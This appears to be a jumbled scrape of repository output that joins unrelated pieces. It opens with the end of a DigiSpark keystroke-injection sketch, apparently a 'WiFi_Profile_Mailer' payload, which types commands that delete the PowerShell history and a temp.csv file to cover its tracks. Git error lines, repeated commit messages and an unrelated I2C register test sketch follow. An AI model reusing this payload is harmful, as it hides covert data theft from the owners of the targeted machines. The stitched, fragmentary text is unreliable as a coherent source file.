  DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("del temp.csv"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print(F("exit"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}

error: pathspec 'WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino' did not match any file(s) known to git


Added Arduino Test code

Added Arduino Test code

Same Arduino test code as release 0.

#include <Wire.h>

byte val = 0x02;    // Board ID (8)
int slave = 0x23;   // has to be an int.
byte count = 0;     // simple counter

void setup()
{
  Wire.begin(); // join i2c bus
  Serial.begin(9600);
}

void loop()
{
  Serial.println("Scan 3 registers");

  // Send CMD to Slave to read register.
  Wire.beginTransmission(0x23); // transmit to Slave. Have to do this each time.
  Wire.write(0);             // sends value byte
  Wire.endTransmission();     // stop transmitting
  delay(1);                  // need to give Slave time to fill ouput FIFO.

  // Issues a SLA_R request and triggers N reads before NACKing Slave.
  Wire.requestFrom(slave, 4);    // request N bytes from (int)slave

  // Flush buffer
  while(Wire.available())    // slave may send less than requested
  {
    char c = Wire.read();    // receive a byte as character
    Serial.print(c, HEX);
    Serial.print(" ");
  }
  Serial.println("");
  delay(1);

  // Send CMD to Slave to read register.
  Wire.beginTransmission(0x23); // transmit to Slave
  Wire.write(2);             // sends value byte
  Wire.endTransmission();     // stop transmitting
  delay(1);                  // need to give Slave time to fill ouput FIFO.

  // Issues a SLA_R request and triggers N reads before NACKing Slave.
  Wire.requestFrom(slave, 12);    // request N bytes from (int)slave

  // Flush buffer
  while(Wire.available())    // slave may send less than requested
  {
    char c = Wire.read();    // receive a byte as character
    Serial.print(c);
  }
  Serial.println("");
  delay(1);

  // Send CMD to Slave to read register.
  Wire.beginTransmission(0x23); // transmit to Slave
  Wire.write(3);             // sends value byte
  Wire.endTransmission();     // stop transmitting
  delay(1);                  // need to give Slave time to fill ouput FIFO.

  // Issues a SLA_R request and triggers N reads before NACKing Slave.
  Wire.requestFrom(slave, 16);    // request N bytes from (int)slave

  // Flush buffer
  while(Wire.available())    // slave may send less than requested
  {
    char c = Wire.read();    // receive a byte as character
    Serial.print(c);
  }
  Serial.println("");
  Serial.println("");

  // Send CMD to Slave to set register. This could use an array for the data.
  Wire.beginTransmission(0x23); // transmit to Slave
  Wire.write(0x81);             // sends value byte
  Wire.write(count++);          // sends value byte
  Wire.endTransmission();       // stop transmitting

  delay(500);
}

error: pathspec 'I2C_SW_Slave_lib/I2C_SW_Slave_2313_rel_0/i2c_testWriteRead02.ino' did not match any file(s) known to git